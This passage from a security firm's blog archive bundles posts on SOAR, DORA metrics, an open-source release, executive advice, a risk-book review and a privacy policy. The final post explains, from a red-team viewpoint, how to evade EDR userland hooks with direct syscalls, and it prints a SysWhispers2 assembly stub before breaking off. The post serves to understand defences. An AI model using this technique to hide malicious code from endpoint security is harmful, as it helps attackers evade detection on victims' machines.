decisions on simple incidents that don't require the intervention of an analyst to resolve them. It's organized inside a workflow (also known as playbook) where you link all softwares with their APIs, in a precise order, like an analyst would do. At the end you save a lot of time and repetitive effort to concentrate on problems requiring human creativity and intuition. ### SOAR basic workflow ![](https://cdn.sanity.io/images/1c7r7wmk/production/65748a85a416cbe42744267283a05bdb9a6a1bfb-1560x520.png)[source](https://www.splunk.com/content/dam/splunk2/data-insider/soar/soar-flow-chart.jpg) So a natural question is, why isn\'t everyone using a SOAR today? Actually, this solution is quite complex and expensive because you need a mature team working on it everyday to create new workflows, parse API returns to adapt tools with each other and of course the maintenance of all these workflows. Moreover, to get the most out of it, you need to combine it with a SIEM. This is why XDR is known as a good option for companies not wishing to spend as much because it offers advanced detection, rapid response, and intuitive automation. Obviously, you will not get the same liberty and level of automation and response but it is a serious alternative. ## II. Workflow Workflows are at the core of SOAR. This is where all the tools come together and decisions are made. Their basic design is quite simple: A given event (webhook or API call from a third-party application) triggers a certain number of cascading actions to respond to the recorded incident. Sometimes, the workflow will pause waiting for a human decision in specific cases where the answer requires further thought across Jira or by mail for example. At the end, we have precise action in the incident response process according to what path the process followed or a trigger to start another workflow. So, we can naturally interweave workflows, this improves overall SOAR hygiene and maintenance, as they are more precise and less bulky. Here is a flow chart from a Github repository that clearly illustrates the organization of a workflow: ![](https://cdn.sanity.io/images/1c7r7wmk/production/46880a1327df0d7cbe490d3dd97fe9891522a3ff-1454x991.png) [source](https://github.com/cisagov/shareable-soar-workflows) > There are a number of open-source Orchestrators you can use if you\'re > interested in this subject, but the next step is to create your first > workflow to discover the difficulties and benefits for yourself. ## III. Use cases and benefits In conclusion, Security Orchestration, Automation, and Response (SOAR) platforms offer a multitude of benefits and use cases that are invaluable in today\'s cybersecurity landscape. With features like incident response automation, SOAR platforms empower security teams to stay ahead of cyber threats and effectively manage security incidents. As organizations continue to face evolving cyber threats, adopting SOAR platforms becomes increasingly essential to ensure proactive and effective cybersecurity defenses. Here are just a few of the benefits and common use cases that may apply to you, so feel free to explore all it can do. ### Benefits - Improved Efficiency: Automation reduces manual effort, enhancing productivity. - Rapid Response: Enables quick response to security incidents, minimizing potential damage. - Centralized Visibility: Provides a single platform for monitoring and managing security incidents, enhancing situational awareness. ### Use Cases - Incident Response Automation: Automates the entire incident response process, from alert triage to remediation. - Threat Hunting: Automates threat detection and analysis to identify potential security threats proactively. - Combatting cyberattacks : Detect and response to phishing, malware and other attacks, minimizing the impact on users and systems. --- ### Understanding DORA Metrics: An Executive Summary URL: https://intuitem.com/understanding-dora-metrics Published: 2023-10-12 Author: Abderrahmane Smimite These metrics serve as a litmus test for an organization’s software delivery and operational performance, offering invaluable insights for executives. Let’s review the essence of DORA metrics and why they matter at the executive level. ## What are DORA Metrics? At its core, DORA focuses on four key metrics: - **Deployment Frequency (DF)**: How often does your team deploy code to production? - **Lead Time for Changes (LT)**: How long does it take for a code commit to be deployed to production? - **Time to Restore Service (TRS)**: After a failure, how long does it take to restore the service to its normal operating state? - **Change Failure Rate (CFR)**: What percentage of changes either fail or require remediation (like a hotfix or rollback)? ## Why are DORA Metrics Important for Executives? ### 1. Business Agility and Responsiveness By understanding DF and LT, executives can gauge the organization’s ability to respond to market changes. A high DF and a low LT suggest that the company can quickly adapt to shifting requirements or customer needs, giving it a competitive edge. ### 2. Reliability and Service Continuity TRS and CFR metrics provide insights into system reliability. If an organization can quickly restore service after an outage (low TRS) and has a low rate of failed changes (low CFR), it indicates a robust and resilient operational environment. ### 3. Informed Decision Making These metrics allow executives to make data-driven decisions. For instance, if LT is increasing, it may be time to invest in more automated testing or consider process improvements. ### 4. Alignment of IT and Business Goals A common challenge in large enterprises is aligning IT objectives with overarching business goals. DORA metrics provide a language that bridges this gap, allowing business leaders to see how IT performance affects the company’s bottom line. ## Interpreting DORA Metrics High Deployment Frequency & Low Lead Time: This combo is the hallmark of high-performing teams. It indicates a streamlined process and the ability to promptly deliver, and updates. Low Time to Restore: Indicates effective incident management and the ability to mitigate risks quickly. Low Change Failure Rate: This means that the majority of deployments are successful without causing subsequent failures. ## Incorporating DORA into Executive Strategy For an executive, the primary focus should be on trend analysis rather than absolute numbers. Here’s a strategic approach: Baseline Assessment: Determine where your organization currently stands with each metric. Set Goals: Use industry benchmarks or historical data to set realistic goals. Monitor Progress: Regularly review metrics to ensure the organization is moving in the desired direction. Iterative Improvement: If metrics stagnate or regress, it’s an opportunity to delve deeper and address underlying issues. ## In Conclusion DORA metrics provide executives with a pulse on the organization’s software delivery and operational health. By understanding and leveraging these metrics, business leaders can ensure that their IT teams are agile, efficient, and aligned with broader business objectives. In today’s fast-paced digital age, being data-informed is not just an advantage — it’s a necessity. And with tools like DORA metrics at their disposal, executives are better equipped to lead their organizations toward sustainable success. Another article, will follow on this one soon to with a more hands-on approach on how to get these metrics and establish a healthy framework to manage them. --- ### We are Going Open Source URL: https://intuitem.com/we-are-going-open-source Published: 2023-09-20 Author: Abderrahmane Smimite Hello to our valued customers, partners, and the cybersecurity community, We are thrilled to announce something that has been in the works for quite some time now. We've always believed in making cyber risk management and GRC (Governance, Risk, and Compliance) more accessible, transparent, simple, and effective for everyone. Today, we're taking a significant step in that direction by making our flagship products, Mira and CISO Assistant, available as open-source software through a Community Edition. ## Why Open Source? **Community Collaboration:** The challenges of cybersecurity are ever-evolving. Going open-source allows us to collaborate with a vast community of developers, industry experts, and end-users. Together, we can better shape and evolve the GRC tools landscape. **Transparency:** In a domain like cybersecurity, trust is paramount. By opening up our source code, we're offering complete transparency, so you know exactly what you're implementing in your systems and how sensitive data are being processed. **Accessibility:** Our mission has always been democratizing cyber risk management and GRC tools. With free-to-use Community Editions, smaller businesses can also implement best-in-class cybersecurity measures and benefit from the community expertise. ## What’s Included in the Community Edition? Mira and CISO assistant core features are open-source and free to use. All future general usage features will be as well. Visit the website to learn more about their capabilities. Community editions will benefit from both community support as well as the regular maintenance and bug fixes that we will keep doing on the internal branches. There is no change on the enterprise edition, where customers can request custom features that we’ll maintain as the product grows. Custom-made features will not be part of the community edition unless agreed on with the customer. Enterprise edition benefits from direct and priority support, as well as advanced assistance for setup, integration, and team coaching. ## How to Get Started? This is the easy part. Just head over to our GitHub repositories, clone them, and follow the instructions on the readme files. - Mira Repo is here: [https://github.com/intuitem/mira-community] - Archived - CISO Assistant repo is here: [https://github.com/intuitem/ciso-assistant-community] ## Don’t want the setup? We have a free 45-day trial, and no credit card is required. Head out to [https://intuitem.com/fr/trial/]. We automatically create isolated demo infrastructure even for the trial to keep your data private and secure. You’ll get a notification email once it’s up. ## Need more? Reach out to our team on [https://intuitem.com/fr/contact/] for the enterprise plan with extra features, customization, and priority support. ## A Big Thank You! We want to extend our heartfelt gratitude to everyone who has supported us thus far. We're excited to see where this new chapter takes us, and we can't wait for you to be a part of it. Best regards, intuitem Team --- ### Five mistakes Executives Are Still doing About Cybersecurity URL: https://intuitem.com/5-mistakes-execs-make-about-cybersecurity Published: 2023-09-10 Author: Abderrahmane Smimite ## Introduction Cybersecurity has become crucial to every organization’s success in today’s digital age. Cyber attacks are becoming increasingly sophisticated and frequent and can have devastating consequences for businesses. However, many executives are dismissing essential aspects of cybersecurity. This blog post will discuss five critical points executives often overlook about cybersecurity and provide actionable insights to address them. It’s important to note that the list could be more comprehensive, but we highlight common topics we frequently discuss with our customers’ executives. ## Prioritizing Compliance Over Remediation Many organizations concentrate only on compliance and assessments to verify that their cybersecurity measures are checking the boxes. Although compliance is crucial, it can give a misleading impression of security. Therefore, organizations should avoid the trap of filling compliance checklists and prioritize actionable remediations to enhance their cybersecurity stance. **Actionable insight:** Build your cyber security program first and then use compliance through continuous controls to make sure it won’t regress. **Bonus point:** We have noticed that the most successful cyber security programs are paired with continuous control teams instead of having compliance managed by legal or isolated GRC teams. ## Focusing On Protection Rather Than Resiliency Another common mistake executives tend to make is focusing solely on protection rather than resiliency. Protection measures such as firewalls, EDR, and IAM are essential, but as with everything, they can be misconfigured, fail, or even worse, be the attack vector. Organizations need to focus on resiliency and have a plan to address incidents when they occur instead of trying too hard to avoid them, i.e., this echoes the « assume-breach » mindset that many cyber security professionals advocate. **Actionable insight:** To improve resiliency, organizations need to focus on incident response planning, backup and recovery measures, and active and realistic testing. Chaos engineering practices can be of value in this context. **Bonus point:** Many organizations overlook the threat posed by insider attacks, which can be just as devastating as external ones, if not more. So, it should be considered for resiliency and protection. ## Considering CyberSec As A Technical Function Cybersecurity is often perceived as a technical function, leading to a disconnect between the cybersecurity team and the rest of the business. Organizations need to view cybersecurity as a business function and involve all « ranks » in the process to improve cybersecurity. This is where a risk-driven approach to building a cyber security program is valuable, and the best ones are business-aligned. Furthermore, organizations must recognize that cybersecurity is not just about implementing tools but also about mindset, processes, and other people-related issues such as social engineering and phishing attacks. **Actionable insight:** Create bridges between all organization functions around risk analysis and management where cyber security teams will provide the tools and processes to handle them. ## Underestimating Third-Party Risk Management Many organizations overlook the risks posed by third-party vendors and suppliers. This covers libraries developers use in their code, a SaaS service, a Cloud Service Provider, and contractors’ cyber security responsibilities. Failure to manage third-party risks can lead to devastating consequences, as seen in several high-profile breaches in recent years. **Actionable insight:** Implement third-party risk management workflows and support them with the right tools. Organizations need to assess all third-party vendors and suppliers, implement appropriate controls to mitigate risks, and understand each party’s responsibility. ## Missing The Business Value Of CyberSec Finally, many executives perceive cybersecurity as a cost center rather than a business enabler. There are so many layers to this discussion. Still, the easy way to look at it is that while cybersecurity can sometimes be expensive, it should be treated as an insurance policy and, even better, can be a competitive advantage. Organizations prioritizing cybersecurity can build trust with customers and partners and differentiate themselves from competitors. If you are still debating whether or not to implement MFA for your end-users, you may need to have the proper discussion. **Actionable insight:** Organizations need to assess the financial impact of cybersecurity through a risk-driven approach and develop a long-term financial plan that incrementally prioritizes cybersecurity investments. A cross-functional discussion involving security experts, product management, and marketing can also be beneficial to expose the business value. ## Summary In conclusion, most organizations have gained enough awareness about the importance of cyber security as a vital function of their businesses. The five points highlighted can trigger a healthy debate to improve the cyber security posture. _In addition to its product activity, intuitem has a consultancy service dedicated to helping companies build optimal cyber security programs that fit their needs instead of pre-packaged ones. You are welcome to reach out to learn more about our services._ --- ### Review of Managing cyber risk, by Ariel Evans URL: https://intuitem.com/review-managing-cyber-risk-ariel-evans Published: 2023-09-04 Author: Eric Laubacher ## Preface In the preface, the author states that ROLF (reputational, operational, legal and financial) analysis is the primary methodology for risk management. Surprisingly, this acronym is very scarcely used, and generally only in reference to Ariel Evans' book. Another surprise is the criticism of FAIR: > Most of today's cyber risk models, like Factor Analysis of Information Risk (FAIR), use only control maturities, which provide very limited and superficial metrics. Yet, The FAIR model can address quite naturally the reputational, operational, legal and financial aspects, and does not rely only on control maturities. We will consider FAIR in another article. ## Introduction > Managing cyber risk is a new science. This promising introductory sentence implies that while not yet mature, cyber risk management is a scientific approach. Evans asserts that cyber risk management is now recognized as an enterprise risk and not an IT risk, which is very sound. Cyber risk is defined in this way: > It is the risk at the digital asset level - system, process, technology, and data that can have reputational, organizational, legal, and/or financial impacts. Then Evans introduces two measures for cyber risk: the inherent risk > "the risk without controls in place, as if there were zero percent effectiveness of cyber controls. This is raw risk, or what I call cybergeddon risk". the residual risk, the risk with controls in place. > Inherent risk is considered the proper way to determine which assets are the most important to protect, and to calculate cyber insurance needs. Residual risk is considered as the proper way to calculate cyber costs for budgeting and to prioritize remediation work. This definition of inherent risk falls into the classical debate over the concept of having "no controls" (refer to https://www.fairinstitute.org/blog/inherent-risk-vs.-residual-risk-explained-in-90-seconds for more). The scenario of having absolutely no controls in place mirrors the unfortunate outcome experienced by E Corp in the first season of Mr. Robot. Evans introduces the appealing notion that inherent risk is beneficial to determine insurance needs but, regrettably, doesn't explain how to precisely calculate it. ## 1. Cyber risk at the speed of data The first chapter begins with a brief presentation of the history of cybersecurity, and the rise of the cost of breach. It develops the idea that "cyber is a business issue" with convincing arguments. It also provides simple guidelines for the establishment of an effective cyber risk management strategy. Cyber risk quantification provides for the following use cases: - focus on and monitoring of crown jewel assets - proper prioritization of remediation resources based on impacts - proper cyber budgeting, aka putting your money where your mouth is - measuring the effectiveness of cyber tools, aka what are we paying for? - adequately measuring cyber insurance needs, aka cyber risk transference For insurance needs, Evans says that requirements should be based on worst-case scenario analysis. While this seems common sense, it is not exactly realistic given companies' current dependence on their IT. The theoretical worst case scenario would almost certainly lead to the company going out of business, as already illustrated. ## 2. Dissecting cyber risk Evans provides this definition of cyber risk: > Cyber risk means the exposure to the possibility of loss from a cyberattack or incident. Impacts follow the ROLF model (reputational, operational, legal and financial). Financial loss can result from business process interruption, data exfiltration or regulatory fines. The book then presents the cyber risk owners: boards of directors, CISO, DPO, compliance manager, auditors and legal teams. Assets are typically classified as crown jewel, business critical, business crucial. A crown jewel is a system whose failure results in the company going out of business. A business critical system is a system whose failure may result in very high costs for the business. A business-crucial system is a system whose failure has significant impact. Evans says the financial risk is the only metric that has objective measurability, an idea that is shared by FAIR methodology. The book develops the following additional types of cyber risks, which all can amplify financial risk: - reputational risks - operational risks - regulatory risks - vendor (or third-party) risks ## 3. Inherent cyber risk In this chapter, the inherent cyber risk is linked to cyber risk quantification. The case for business interruption costs is relatively straightforward. For data exfiltration costs, Evans proposes to multiply the number of leaked records by the average cost of breach per record determined by the Ponemon institute in the 2017 Cost of Data Breach study, which is $141. This type of gross approximation using an average value is not convincing, it seems much preferable to determine the value of records by estimating the consequences of a leak. Concerning regulatory costs, Evans lists several regulations, and give a quantitative example. What is striking is that the GDPR potential fine of 4% of revenue outweighs largely all other factors. In the given example, it represents 72% of the total estimated cost. Evans also proposes a qualitative analysis for inherent cyber risk as likelihood x impact. CMMI is proposed as an example of scoring system, with a value from 1 (optimized) to 5 (initial). Two questionnaires shall be prepared, one for impact, the other for likelihood. Each question is assigned a weight (based on the understanding of its importance for the organization), and scores are aggregated. Unanswered questions are not included in the aggregated score. Examples of questions are provided. Likelihood is "the probability an attack will cause damage". Evans says that likelihood can be equated to the cybersecurity triad of confidentiality, integrity and accessibility, which is a very unclear statement. As for impact, several factors and corresponding examples of questions are given. The metric is again from 1 to 5 (0 for unanswered). Then qualitative risk analysis is presented in the form of a traditional matrix combining impact score and likelihood score. An interesting approach is that there are 3 different matrices, one for crown jewels, one for business-critical and one for business crucial. The matrices contain the priority level from 1 (highest priority) to 5 (lowest priority). The risk level is defined from 0-1 (low) to 4-5 (critical), but no rule is given on how to calculate it, which is unfortunate. Evans highlights that the qualitative and quantitative analyses can diverge, and that this means it is necessary to "tweak the model", with usually two-three rounds of revision. ## 4. Residual cyber risk The following definition is given: > Residual risk = inherent risk score - (score of findings + vulnerabilities + incidents) Once residual risk score is calculated, it shall be compared to a threshold value depending on the type of asset (crown jewel, critical, crucial). If the threshold is over, then some remediations are required. Cyber control frameworks are a set of standards used for cyber control assessments. They contain requirements with a policy component, a test component and a result component. The results of the tests are called findings. Several frameworks in common use in the US are presented: PCI-DSS, ISO 27001, CIS Critical Security Controls, and NIST CSF. The finding can be expressed as a percentage, 100% being the best score. A possible method for deriving the residual risk score from the inherent risk and the assessment finding is illustrated in an example (table 4.2), but unfortunately the formula is not given. We can infer it is: RR = IR x (1 - findings). Similarly, an example is provided for vulnerability correction (table 4.3), without the formula being explicit. We can infer the following formula: RR = IR x (1 - findings) x (1 + vulnerability). The table 4.4 adds the incident parameter, and ignoring a typo (0,295 instead of 0,0295) and a confusion (incident instead of vulnerability), we infer the following formula: RR = IR x (1 - findings) x (1 + incident). For cost analysis, Evans presents cyber budgeting, and defines: > return on control = (reduction in risk / Cost of the control) x 100. ## 5. Vendor cyber risk The majority of reported breaches are due to third parties, so this chapter presents an approach for third-party risk measurement. It is similar to the previous chapters, with questionnaires to assess impact and likelihood of the risk. ## 6. Future cyber risk This chapter provides some glimpses on the cyber risk linked to IoT, blockchain, AI and quantum computing. ## 7. Cyber risk management toolkit Evans defines 5 levels of cyber security maturity: unaware, tactical, focused, strategic and pervasive. The toolkit program comprises the following items: - organization oversight and leadership program - cyber risk program - cyber policies - assessment, audit, and monitoring programs - resources - risk prioritization - cyber budgeting - incident management plans - education - cybersecurity awareness - cyber insurance - vendor management ## 8. Optimizing cyber risk resiliency Resiliency is defined as goal score divided by the residual risk score. This chapter provides some recommendations to determine correct amount of cyber insurance. It also recommends continuous cyber risk management program, and evokes the case of cyber risk metrics for M&A. The book finishes with a conclusion, abbreviations, and an index. ## Does "Managing cyber risk" provides a scientific approach for risk analysis? While the book contains sound advice, and provides a quantitative and a qualitative method for risk analysis, this method lacks several qualities to be deemed scientific. In particular: - the definitions of the concepts are vague. - the formulas for the method are not clearly defined and justified. The proposed method can be a good starting point for someone discovering cyber security and risk analysis. But as we close the book, we're left hungry for a scientific approach to risk analysis. _In addition to its product activity, intuitem has a consultancy service dedicated to helping companies build optimal cyber security programs that fit their needs instead of pre-packaged ones. You are welcome to reach out to learn more about our services._ --- ### Privacy Policy Update URL: https://intuitem.com/privacy-policy-update Published: 2023-09-01 Author: intuitem ### intuitem Privacy Policy ### Last updated: Sept, 2023 This Privacy Policy describes how intuitem (the "Site", "we", "us", or "our") collects, uses, and discloses your personal information when you visit, use our services, or make a purchase from https://intuitem.com (the "Site") or otherwise communicate with us (collectively, the "Services"). For purposes of this Privacy Policy, "you" and "your" means you as the user of the Services, whether you are a customer, website visitor, or another individual whose information we have collected pursuant to this Privacy Policy. Please read this Privacy Policy carefully. By using and accessing any of the Services, you agree to the collection, use, and disclosure of your information as described in this Privacy Policy. If you do not agree to this Privacy Policy, please do not use or access any of the Services. #### Changes to This Privacy Policy We may update this Privacy Policy from time to time, including to reflect changes to our practices or for other operational, legal, or regulatory reasons. We will post the revised Privacy Policy on the Site, update the "Last updated" date and take any other steps required by applicable law. #### How We Collect and Use Your Personal Information To provide the Services, we collect and have collected over the past 12 months personal information about you from a variety of sources, as set out below. The information that we collect and use varies depending on how you interact with us. In addition to the specific uses set out below, we may use information we collect about you to communicate with you, provide the Services, comply with any applicable legal obligations, enforce any applicable terms of service, and to protect or defend the Services, our rights, and the rights of our users or others. #### What Personal Information We Collect The types of personal information we obtain about you depends on how you interact with our Site and use our Services. When we use the term "personal information", we are referring to information that identifies, relates to, describes or can be associated with you. The following sections describe the categories and specific types of personal information we collect. #### Information We Collect Directly from You Information that you directly submit to us through our Services may include: - Basic contact details including your name, address, phone number, email. - Order information including your name, billing address, payment confirmation, email address, phone number. - Account information including your username, email and password. - Customer support information including the information you choose to include in communications with us, for example, when sending a message through the Services. Some features of the Services may require you to directly provide us with certain information about yourself. You may elect not to provide this information, but doing so may prevent you from using or accessing these features. #### Information We Collect through Cookies We also automatically collect certain information about your interaction with the Services ("Usage Data"). To do this, we may use cookies, pixels and similar technologies ("Cookies"). Usage Data may include information about how you access and use our Site and your account, including device information, browser information, information about your network connection, your IP address and other information regarding your interaction with the Services. We are very sensitive to the data collected and we provide extra caution to make it stick to the bare minimum to operate our services. #### Information We Obtain from Third Parties Finally, we may obtain information about you from third parties, including from vendors and service providers who may collect information on our behalf, such as: - Our payment processors, who collect payment information (e.g., bank account, credit or debit card information, billing address) to process your payment in order to fulfill your orders and provide you with products or services you have requested, in order to perform our contract with you. - When you visit our Site, open or click on emails we send you, or interact with our Services or advertisements, we, or third parties we work with, may automatically collect certain information using online tracking technologies such as pixels, web beacons, software developer kits, third-party libraries, and cookies. Any information we obtain from third parties will be treated in accordance with this Privacy Policy. We are not responsible or liable for the accuracy of the information provided to us by third parties and are not responsible for any third party's policies or practices. For more information, see the section below, Third Party Websites and Links. #### How We Use Your Personal Information - Providing Products and Services. We use your personal information to provide you with the Services in order to perform our contract with you, including to process your payments, fulfill your orders, to send notifications to you related to you account, to create, maintain and otherwise manage your account. - Marketing. We use your personal information for marketing and promotional purposes, such as to send marketing, advertising and promotional communications by email, phone calls or text message, and to show you advertisements for products or services. This may include using your personal information to better tailor the Services and advertising on our Site and other websites. - Security and Fraud Prevention. We use your personal information to detect, investigate or take action regarding possible fraudulent, illegal or malicious activity. If you choose to use the Services and register an account, you are responsible for keeping your account credentials safe. We highly recommend that you do not share your username, password, or other access details with anyone else. If you believe your account has been compromised, please contact us immediately. - Communicating with you. We use your personal information to provide you with customer support and improve our Services. This is in our legitimate interests in order to be responsive to you, to provide effective services to you, and to maintain our business relationship with you. #### Cookies We primarily use the following cookies for the corporate site: - Cloudflare, for website analytics - Hubspot, for mail campaign tracking Our products may use cookies for session management and other technical needs. Most browsers automatically accept Cookies by default, but you can choose to set your browser to remove or reject Cookies through your browser controls. Please keep in mind that removing or blocking Cookies can negatively impact your user experience and may cause some of the Services, including certain features and general functionality, to work incorrectly or no longer be available. Additionally, blocking Cookies may not completely prevent how we share information with third parties such as our advertising partners. #### Third Party Websites and Links Our Site may provide links to websites or other online platforms operated by third parties. If you follow links to sites not affiliated or controlled by us, you should review their privacy and security policies and other terms and conditions. We do not guarantee and are not responsible for the privacy or security of such sites, including the accuracy, completeness, or reliability of information found on these sites. Information you provide on public or semi-public venues, including information you share on third-party social networking platforms may also be viewable by other users of the Services and/or users of those third-party platforms without limitation as to its use by us or by a third party. Our inclusion of such links does not, by itself, imply any endorsement of the content on such platforms or of their owners or operators, except as disclosed on the Services. #### Children's Data The Services are not intended to be used by children, and we do not knowingly collect any personal information about children. If you are the parent or guardian of a child who has provided us with their personal information, you may contact us using the contact details set out below to request that it be deleted. As of the Effective Date of this Privacy Policy, we do not have actual knowledge that we "share" or "sell" (as those terms are defined in applicable law) personal information of individuals under 16 years of age. #### Security and Retention of Your Information Please be aware that no security measures are perfect or impenetrable, and we cannot guarantee "perfect security." In addition, any information you send to us may not be secure while in transit. We recommend that you do not use unsecure channels to communicate sensitive or confidential information to us. How long we retain your personal information depends on different factors, such as whether we need the information to maintain your account, to provide the Services, comply with legal obligations, resolve disputes or enforce other applicable contracts and policies. #### Your Rights and Choices Depending on where you live, you may have some or all of the rights listed below in relation to your personal information. However, these rights are not absolute, may apply only in certain circumstances and, in certain cases, we may decline your request as permitted by law. - Right to Access / Know. You may have a right to request access to personal information that we hold about you, including details relating to the ways in which we use and share your information. - Right to Delete. You may have a right to request that we delete personal information we maintain about you. - Right to Correct. You may have a right to request that we correct inaccurate personal information we maintain about you. - Right of Portability. You may have a right to receive a copy of the personal information we hold about you and to request that we transfer it to a third party, in certain circumstances and with certain exceptions. - Right to Limit and/or Opt out of Use and Disclosure of Sensitive Personal Information. You may have a right to direct us to limit our use and/or disclosure of sensitive personal information to only what is necessary to perform the Services or provide the goods reasonably expected by an average individual. - Restriction of Processing: You may have the right to ask us to stop or restrict our processing of personal information. - Withdrawal of Consent: Where we rely on consent to process your personal information, you may have the right to withdraw this consent. - Appeal: You may have a right to appeal our decision if we decline to process your request. You can do so by replying directly to our denial. - Managing Communication Preferences: We may send you promotional emails, and you may opt out of receiving these at any time by using the unsubscribe option displayed in our emails to you. If you opt out, we may still send you non-promotional emails, such as those about your account or orders that you have made. You may exercise any of these rights where indicated on our Site or by contacting us using the contact details provided below. We will not discriminate against you for exercising any of these rights. We may need to collect information from you to verify your identity, such as your email address or account information, before providing a substantive response to the request. In accordance with applicable laws, You may designate an authorized agent to make requests on your behalf to exercise your rights. Before accepting such a request from an agent, we will require that the agent provide proof you have authorized them to act on your behalf, and we may need you to verify your identity directly with us. We will respond to your request in a timely manner as required under applicable law. #### Complaints If you have complaints about how we process your personal information, please contact us using the contact details provided below. If you are not satisfied with our response to your complaint, depending on where you live you may have the right to appeal our decision by contacting us using the contact details set out below, or lodge your complaint with your local data protection authority. #### International Users Please note that we may transfer, store and process your personal information outside the country you live in, including the United States. Your personal information is also processed by staff and third party service providers and partners in these countries. If we transfer your personal information out of Europe, we will rely on recognized transfer mechanisms like the European Commission's Standard Contractual Clauses, or any equivalent contracts issued by the relevant competent authority of the UK, as relevant, unless the data transfer is to a country that has been determined to provide an adequate level of protection. #### Contact Should you have any questions about our privacy practices or this Privacy Policy, or if you would like to exercise any of the rights available to you, please use the contact form or email us at contact@intuitem.com or contact us at 8 rue des frères Caudron, Vélizy, 78140, France. --- ### Unleashing Direct Syscalls: Evading EDR Detection URL: https://intuitem.com/unleashing-direct-syscalls-edr-evading Published: 2023-08-16 Author: Tristan bui However, the evolving sophistication of attacks has prompted malicious hackers to explore new avenues for bypassing the security measures provided by traditional endpoint security solutions. Defenders, on the other hand much like a cat-and-mouse game of security, attempt to devise innovative methods to counter them. This ongoing dynamic leads to the emergence of new products designed to tackle evolving threats, as well as the adaptation, consolidation, or fading away of existing solutions. In this brief post, we are going to share some insights on how EDR products work and discuss methods to circumvent them. Please note that this is purely based on our personal research to improve our understanding of EDR and does not cover any new or zero-day exploits. ## How does an EDR Work? **Endpoint Detection and Response (EDR)** solutions use various methods to identify and prevent malicious or suspicious activities on an endpoint. These activities can occur from User-land or Kernel-land. - **Static-based Detection**: EDR utilizes signature-based detection, where it compares the characteristics of files and processes against a vast database of known malware signatures, IoCs (Indicators of Compromise), and Yara rules. This approach helps quickly identify and block known threats. - **Dynamic-based Detection**: EDR observes the behavior of code execution in a safe and isolated environment known as a sandbox. - **Heuristic-based Detection**: This involves analyzing runtime behavior and identifying actions that deviate from typical behavior exhibited by legitimate applications. For example, EDR can detect process execution or injection techniques and memory image loads that are often associated with cyberattacks. ## API Hooks and Windows Architecture The process architecture in Windows is divided into two access modes: User mode and Kernel mode. The goal of implementing these modes is to keep user applications from accessing and modifying memory areas containing essential OS data. All installed apps on a Windows system operate in user mode, whereas OS code such as system services and device drivers run in kernel mode. ![alt text](https://media.licdn.com/dms/image/D4E12AQEJn3eE_cy6-A/article-inline_image-shrink_1500_2232/0/1692191009760?e=1716422400&v=beta&t=5r6VSmIF-LFAwYGsbUmWmi8pA1Znddd_tXv9bxXMKok) Kernel mode is a mode of execution in a processor that allows access to all system memory and all CPU commands. ![alt text](https://media.licdn.com/dms/image/D4E12AQFFRFmNvMYJkw/article-inline_image-shrink_1000_1488/0/1692191124949?e=1716422400&v=beta&t=CJG7Wq804XmaV7ByQtNf2SEZ_B0JHMqYROU1sp4tTAA) Some x86 and x64 processors distinguish between these modes by referring to them as ring levels. On a Windows system, two of these rings are actually used. User-mode is the equivalent of ring 3 and kernel-mode which corresponds to ring 0. ## API Hooks and Syscall Userland hooking is a technique used by the majority of AV/EDRs to intercept a function call and redirect the execution flow to a controlled environment where the call may be analyzed to determine whether or not it is malicious. Let's take an example scenario: when a process is executed and needs to allocate memory, it calls the Windows API function VirtualAlloc. Under the hood, this function utilizes a syscall like NtAllocateVirtualMemory, which is accessed through the ntdll.dll. As the execution flows, the EDR will hook triggers, and force the execution to redirect from the original syscall in the system DLL to the EDR's own DLL. ![alt text](https://media.licdn.com/dms/image/D4E12AQGjJIM5EDn8ZA/article-inline_image-shrink_1500_2232/0/1692191187836?e=1716422400&v=beta&t=qCkhnRfpQGzq5bPrdfSjH7F8fzGXzLQ63o8cxtNn_Xg) Another term used for native API calls is system calls. In a manner similar to Linux, each system call corresponds to a specific number in the System Service Dispatch Table (SSDT) within the kernel. This table contains references to various kernel-level functions. Every named native API is linked to a syscall number, and each number maps to an entry in the SSDT. Knowing just the API name, like NtCreateThread, isn't sufficient to use a syscall; we must also know its associated syscall number. Moreover, syscall numbers can vary across Windows versions, service packs, and/or build numbers. The first and simpler approach for finding the Windows syscall numbers is by utilizing Mateusz Jurczyk's system call table. This table is a valuable tool for security researchers and developers seeking the syscall number associated with a particular API. ![alt text](https://media.licdn.com/dms/image/D4E12AQEMVWJaW6W0Hw/article-inline_image-shrink_1500_2232/0/1692191226013?e=1716422400&v=beta&t=gr-IEXcg5PiFASt1uxoseidxIqvuE6_tCv7l-dxj9rs) The second approach for identifying syscall numbers is to study the source directly: ntdll.dll. To begin, we concentrate on getting the syscall number for NtAllocateVirtualMemory, which is required by our injector. To do so, we use WinDbg to look for the NtAllocateVirtualMemory method within ntdll.dll. For example, we attach to the notepad process and enter "x ntdll!NtAllocateVirtualMemory". This lets us examine the NtAllocateVirtualMemory function within the ntdll.dll. It returns a memory location for the function, which we examine, or unassemble, with the "u" command. Now we can see the exact assembly language instructions for calling NtAllocateVirtualMemory. Calling syscalls in assembly tends to follow a pattern, in that some arguments are setup on the stack, seen with the mov r10,rcx statement, followed by moving the syscall number into the eax register, shown here as mov eax,18h. So now we know the syscall number of NtAllocateVirtualMemory is 18 in hex . ![alt text](https://media.licdn.com/dms/image/D4E12AQFskGfmVgWwew/article-inline_image-shrink_1000_1488/0/1692191259772?e=1716422400&v=beta&t=FakvDdRjj7OCy4RThwvZIb62XhXDz8z0-QATtinDyjI) ## Bypass the Hooks - Direct Syscall We insisted on the fact that EDR places its hooks in User-land, so it will inspect the parameters of a WinAPI function that will connect with a syscall. From an attacker's (red team's) point of view, what if we can build ourselves DLL or even use syscall directly? Even though we can obtain the syscall numbers more easily, it takes a long time to implement the numbers for each version. The SysWhispers project was built to avoid having to implement the numbers each time. SysWhispers is a utility that produces header and assembly pairs to make direct syscalls easier to use. As shown in the code below, the SysWhispers2 version employs the function SW2_GetSyscallNumber rather than manually loading the syscall number. This function is in responsible of locating and storing the correct syscall number in the eax register based on the function name. Checking the list for syscall numbers ensures that the code is compatible with all versions of Windows. Despite differences in assembly syntax, the underlying semantics remain similar across Windows versions. This approach maintains consistent functionality regardless of Windows version, ensuring that the code remains effective and compatible. ```asm EXTERN SW2_GetSyscallNumber: PROC WhisperMain PROC pop rax mov [rsp+ 8], rcx ; Save registers. mov [rsp+16], rdx mov [rsp+24], r8 mov [rsp+32], r9 sub rsp, 28h mov ecx, currentHash call SW2_GetSyscallNumber add rsp, 28h mov rcx, [rsp+ 8] ; Restore registers. mov rdx, [rsp+16] mov r8, [rsp+24] mov r9, [rsp+32] mov r10, rcx syscall. ; Issue syscall ret WhisperMain ENDP 